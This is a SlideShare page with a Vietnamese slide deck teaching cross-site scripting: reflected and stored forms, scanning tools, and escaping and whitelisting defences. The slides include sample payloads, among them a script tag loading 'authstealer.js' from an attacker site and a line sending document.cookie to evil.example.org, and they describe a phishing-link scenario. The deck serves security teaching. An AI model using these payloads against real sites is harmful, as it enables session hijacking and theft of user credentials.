SlideShare a Scribd company logo
1 of 16
Lỗi XSS - Cross-Site
Scripting
Mục lục
Các dạng tấn công
Công cụ tìm kiếm lỗi
Cách phòng chống lỗi
Khái niệm
Khái niệm
•Lỗi XSS xảy ra khi một ứng dụng nhận vào những dữ
liệu không đáng tin và gửi những dữ liệu đấy cho
trình duyệt của người dùng
• Ví dụ:một đoạn Javascript:
<script%20src="http://mallorysevilsite.com/authstealer.js">
•Lỗi XSS thường giúp người khai thác chiếm phiên
đăng nhập của người dùng, “deface” trang web hay
dẫn người dùng đến những trang web lừa đảo
Các dạng lỗi
Non-persistent
Persistent
Non-persistent
•Với dạng non-persistent, dữ liệu khai thác sẽ
không được lưu trữ trên server.
A dùng trang web của B
Trang web của B cho phép A lập tài khoản và chứa
những thông tin riêng tư
Trang web của B có lỗi XSS trong chức năng tìm
kiếm
http://bobssite.org?q=search term
search term
Non-persistent
Ví dụ
• Chức năng tìm kiếm của trang web khi nhận được
một query:
• Trang web sẽ hiện ra
"http://bobssite.org?q=puppies
http://bobssite.org?q=puppies
puppies
puppies not found
• Chức năng tìm kiếm của trang web khi nhận được
một query bất thường như:
• Trang web sẽ hiện ra
<script type='text/javascript'>alert('pwnd');</script>
http://bobssite.org?q=<script…
<script ….
<script …. not found
pwnd
• C tìm ra lỗi này của trang web B
• C tạo ra URL
• C gửi URL cho những thành viên của trang web B
http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js">
Check out this cute puppy.
http://bobssite.org?q=puppies<
script%20….
From: c@email.com
•A nhận được email và click vào link
•Link dẫn đến trang web của B và hiện ra “puppies not
found”
•Script authstealer.js trong URL được thực hiện
•Script này lấy thông tin xác thực của A và gửi cho trang
web của C
Ví dụ: một đoạn trong authstealer.js
new Image().src =
'http://evil.example.org/steal.php?cookies=' +
encodeURI(document.cookie);
Persistent
Với dạng Persistent, đoạn mã chèn thêm vào được
lưu trữ trên server, như trong CSDL dưới dạng các
comment trong blog, message trong forum hoặc các
visitor log.
Ta có một trang web mà người dùng có thể để lại
những lời nhắn như sau:
Persistent
Ví dụ
• Thay vì nhập vào lời nhắn bình thường, ta nhập vào
đoạn mã sau:
• Kết quả
Xin <script>alert(“XSS”)</script>chào!
Công cụ tìm kiếm lỗi XSS
Có khá nhiều công cụ miễn phí và thương mại để tìm
kiếm lỗi XSS
Grabber
ZAP (OWASP)
Wapiti
• “Escape” tất cả những dữ liệu không đáng tin cậy một cách hợp lý
khi dữ liệu được đưa vào
• Ví dụ:
• Tham khảo thêm về HTML escaping:
• Lập danh sách những dữ liệu được phép nhập vào
• Ví dụ: Chỉ được nhập chữ cái, không được nhập ký tự đặc biệt
• Với những dữ liệu như hình ảnh, video, có thể dùng những thư
viện kiểm tra tự động như AntiSamy (OWASP)
& --> &amp;
< --> &lt;
> --> &gt;
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Tham khảo thêm về dự án AntiSamy: https://www.owasp.org/index.php/AntiSamy
Cách phòng chống

More Related Content

What's hot

Spring JDBCTemplate
Spring JDBCTemplateSpring JDBCTemplate
Spring JDBCTemplate
Guo Albert
 
ASP.NET Web API
ASP.NET Web APIASP.NET Web API
ASP.NET Web API
habib_786
 

What's hot (20)

Rest api-basic
Rest api-basicRest api-basic
Rest api-basic
 
Api security-testing
Api security-testingApi security-testing
Api security-testing
 
MVC Architecture in ASP.Net By Nyros Developer
MVC Architecture in ASP.Net By Nyros DeveloperMVC Architecture in ASP.Net By Nyros Developer
MVC Architecture in ASP.Net By Nyros Developer
 
Best Practices for Architecting a Pragmatic Web API.
Best Practices for Architecting a Pragmatic Web API.Best Practices for Architecting a Pragmatic Web API.
Best Practices for Architecting a Pragmatic Web API.
 
Spring JDBCTemplate
Spring JDBCTemplateSpring JDBCTemplate
Spring JDBCTemplate
 
Lightning web components
Lightning web componentsLightning web components
Lightning web components
 
Automação de Teste para REST, Web e Mobile
Automação de Teste para REST, Web e MobileAutomação de Teste para REST, Web e Mobile
Automação de Teste para REST, Web e Mobile
 
신입 웹 개발자 포트폴리오 / 댓글 게시판
신입 웹 개발자 포트폴리오 / 댓글 게시판신입 웹 개발자 포트폴리오 / 댓글 게시판
신입 웹 개발자 포트폴리오 / 댓글 게시판
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
CNIT 129S - Ch 3: Web Application Technologies
CNIT 129S - Ch 3: Web Application TechnologiesCNIT 129S - Ch 3: Web Application Technologies
CNIT 129S - Ch 3: Web Application Technologies
 
Desafio Rest API
Desafio Rest APIDesafio Rest API
Desafio Rest API
 
Hướng dẫn sử dụng Selenium ide
Hướng dẫn sử dụng Selenium ideHướng dẫn sử dụng Selenium ide
Hướng dẫn sử dụng Selenium ide
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open Redirect
 
Spring MVC
Spring MVCSpring MVC
Spring MVC
 
jQuery Fundamentals
jQuery FundamentalsjQuery Fundamentals
jQuery Fundamentals
 
ASP.NET Web API
ASP.NET Web APIASP.NET Web API
ASP.NET Web API
 
API Security Fundamentals
API Security FundamentalsAPI Security Fundamentals
API Security Fundamentals
 
Securing Your API
Securing Your APISecuring Your API
Securing Your API
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
OWASP Top 10 A4 – Insecure Direct Object Reference
OWASP Top 10 A4 – Insecure Direct Object ReferenceOWASP Top 10 A4 – Insecure Direct Object Reference
OWASP Top 10 A4 – Insecure Direct Object Reference
 

Viewers also liked

Data Preparation for Assessing Impact of Climate Change on Groundwater Recharge
Data Preparation for Assessing Impact of Climate Change on Groundwater RechargeData Preparation for Assessing Impact of Climate Change on Groundwater Recharge
Data Preparation for Assessing Impact of Climate Change on Groundwater Recharge
AM Publications
 

Viewers also liked (13)

Fine Art Market
Fine Art MarketFine Art Market
Fine Art Market
 
PM [B10] In comes Euler
PM [B10] In comes EulerPM [B10] In comes Euler
PM [B10] In comes Euler
 
Mule smtp connector
Mule smtp connectorMule smtp connector
Mule smtp connector
 
Bm 1 pgp30230
Bm 1 pgp30230Bm 1 pgp30230
Bm 1 pgp30230
 
listtoclose demo
listtoclose demolisttoclose demo
listtoclose demo
 
02 Dasar-dasar Desain
02 Dasar-dasar Desain02 Dasar-dasar Desain
02 Dasar-dasar Desain
 
5 Body Parts That You Are Not Cleaning Properly
5 Body Parts That You Are Not Cleaning Properly5 Body Parts That You Are Not Cleaning Properly
5 Body Parts That You Are Not Cleaning Properly
 
Как сократить расходы на международную связь?
Как сократить расходы на международную связь?Как сократить расходы на международную связь?
Как сократить расходы на международную связь?
 
2581
25812581
2581
 
Solstis profile and references
Solstis profile and referencesSolstis profile and references
Solstis profile and references
 
ACO Based Routing and Euler Walks Routing of Solid Waste Management Transport...
ACO Based Routing and Euler Walks Routing of Solid Waste Management Transport...ACO Based Routing and Euler Walks Routing of Solid Waste Management Transport...
ACO Based Routing and Euler Walks Routing of Solid Waste Management Transport...
 
linked in resume
linked in resumelinked in resume
linked in resume
 
Data Preparation for Assessing Impact of Climate Change on Groundwater Recharge
Data Preparation for Assessing Impact of Climate Change on Groundwater RechargeData Preparation for Assessing Impact of Climate Change on Groundwater Recharge
Data Preparation for Assessing Impact of Climate Change on Groundwater Recharge
 

Similar to Xss

Tan cong
Tan congTan cong
Tan cong
toan
 
Bao cao tttn an ninh web
Bao cao tttn   an ninh webBao cao tttn   an ninh web
Bao cao tttn an ninh web
Nhóc Mèo
 
Tim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongTim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chong
Vu Trung Kien
 
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Luc Cao
 
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Luc Cao
 
Trung tâm đào tạo
Trung tâm đào tạoTrung tâm đào tạo
Trung tâm đào tạo
Luc Cao
 

Similar to Xss (20)

Owasp top 10
Owasp top 10Owasp top 10
Owasp top 10
 
Những lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần applicationNhững lỗi bảo mật web thường gặp ở phần application
Những lỗi bảo mật web thường gặp ở phần application
 
Đề tài: Giao thức http và https trong bảo mật website, HAY - Gửi miễn phí...
Đề tài: Giao thức http và https trong bảo mật website, HAY - Gửi miễn phí...Đề tài: Giao thức http và https trong bảo mật website, HAY - Gửi miễn phí...
Đề tài: Giao thức http và https trong bảo mật website, HAY - Gửi miễn phí...
 
Tan cong
Tan congTan cong
Tan cong
 
Bảo mật ứng dụng web
Bảo mật ứng dụng webBảo mật ứng dụng web
Bảo mật ứng dụng web
 
Dos web server it-slideshares.blogspot.com
Dos web server it-slideshares.blogspot.comDos web server it-slideshares.blogspot.com
Dos web server it-slideshares.blogspot.com
 
Web application-security
Web application-securityWeb application-security
Web application-security
 
một số phương pháp tấn công và phòng chống trong không gian mạng
một số phương pháp tấn công và phòng chống trong không gian mạngmột số phương pháp tấn công và phòng chống trong không gian mạng
một số phương pháp tấn công và phòng chống trong không gian mạng
 
Bao cao tttn an ninh web
Bao cao tttn   an ninh webBao cao tttn   an ninh web
Bao cao tttn an ninh web
 
Báo cáo SQL injecttion
Báo cáo SQL injecttionBáo cáo SQL injecttion
Báo cáo SQL injecttion
 
Tiền ảo đã ký sinh trên web của bạn như thế nào?
Tiền ảo đã ký sinh trên web của bạn như thế nào?Tiền ảo đã ký sinh trên web của bạn như thế nào?
Tiền ảo đã ký sinh trên web của bạn như thế nào?
 
Tim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chongTim hieu lo hong web va cach phong chong
Tim hieu lo hong web va cach phong chong
 
An Ninh Mạng Và Kỹ Thuật Tấn Công Web Server
An Ninh Mạng Và Kỹ Thuật Tấn Công Web Server An Ninh Mạng Và Kỹ Thuật Tấn Công Web Server
An Ninh Mạng Và Kỹ Thuật Tấn Công Web Server
 
Sql injection demo - it-slideshares.blogspot.com
Sql injection   demo - it-slideshares.blogspot.comSql injection   demo - it-slideshares.blogspot.com
Sql injection demo - it-slideshares.blogspot.com
 
Bảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NETBảo mật ứng dụng ASP.NET
Bảo mật ứng dụng ASP.NET
 
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo hàng tuần - Các chuẩn bảo mật web (OWASP)
 
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
Báo cáo thực tập hàng tuần - Các chuẩn bảo mật web (OWASP)
 
Bai 11
Bai 11Bai 11
Bai 11
 
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theoBài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
Bài 1: Làm quen với ASP.NET - Giáo trình FPT - Có ví dụ kèm theo
 
Trung tâm đào tạo
Trung tâm đào tạoTrung tâm đào tạo
Trung tâm đào tạo
 

Xss

  • 1. Lỗi XSS - Cross-Site Scripting
  • 2. Mục lục Các dạng tấn công Công cụ tìm kiếm lỗi Cách phòng chống lỗi
  • 4. Khái niệm •Lỗi XSS xảy ra khi một ứng dụng nhận vào những dữ liệu không đáng tin và gửi những dữ liệu đấy cho trình duyệt của người dùng • Ví dụ:một đoạn Javascript: <script%20src="http://mallorysevilsite.com/authstealer.js"> •Lỗi XSS thường giúp người khai thác chiếm phiên đăng nhập của người dùng, “deface” trang web hay dẫn người dùng đến những trang web lừa đảo
  • 6. Non-persistent •Với dạng non-persistent, dữ liệu khai thác sẽ không được lưu trữ trên server.
  • 7. A dùng trang web của B Trang web của B cho phép A lập tài khoản và chứa những thông tin riêng tư Trang web của B có lỗi XSS trong chức năng tìm kiếm http://bobssite.org?q=search term search term Non-persistent Ví dụ
  • 8. • Chức năng tìm kiếm của trang web khi nhận được một query: • Trang web sẽ hiện ra "http://bobssite.org?q=puppies http://bobssite.org?q=puppies puppies puppies not found
  • 9. • Chức năng tìm kiếm của trang web khi nhận được một query bất thường như: • Trang web sẽ hiện ra <script type='text/javascript'>alert('pwnd');</script> http://bobssite.org?q=<script… <script …. <script …. not found pwnd
  • 10. • C tìm ra lỗi này của trang web B • C tạo ra URL • C gửi URL cho những thành viên của trang web B http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"> Check out this cute puppy. http://bobssite.org?q=puppies< script%20…. From: c@email.com
  • 11. •A nhận được email và click vào link •Link dẫn đến trang web của B và hiện ra “puppies not found” •Script authstealer.js trong URL được thực hiện •Script này lấy thông tin xác thực của A và gửi cho trang web của C Ví dụ: một đoạn trong authstealer.js new Image().src = 'http://evil.example.org/steal.php?cookies=' + encodeURI(document.cookie);
  • 12. Persistent Với dạng Persistent, đoạn mã chèn thêm vào được lưu trữ trên server, như trong CSDL dưới dạng các comment trong blog, message trong forum hoặc các visitor log.
  • 13. Ta có một trang web mà người dùng có thể để lại những lời nhắn như sau: Persistent Ví dụ
  • 14. • Thay vì nhập vào lời nhắn bình thường, ta nhập vào đoạn mã sau: • Kết quả Xin <script>alert(“XSS”)</script>chào!
  • 15. Công cụ tìm kiếm lỗi XSS Có khá nhiều công cụ miễn phí và thương mại để tìm kiếm lỗi XSS Grabber ZAP (OWASP) Wapiti
  • 16. • “Escape” tất cả những dữ liệu không đáng tin cậy một cách hợp lý khi dữ liệu được đưa vào • Ví dụ: • Tham khảo thêm về HTML escaping: • Lập danh sách những dữ liệu được phép nhập vào • Ví dụ: Chỉ được nhập chữ cái, không được nhập ký tự đặc biệt • Với những dữ liệu như hình ảnh, video, có thể dùng những thư viện kiểm tra tự động như AntiSamy (OWASP) & --> &amp; < --> &lt; > --> &gt; https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet Tham khảo thêm về dự án AntiSamy: https://www.owasp.org/index.php/AntiSamy Cách phòng chống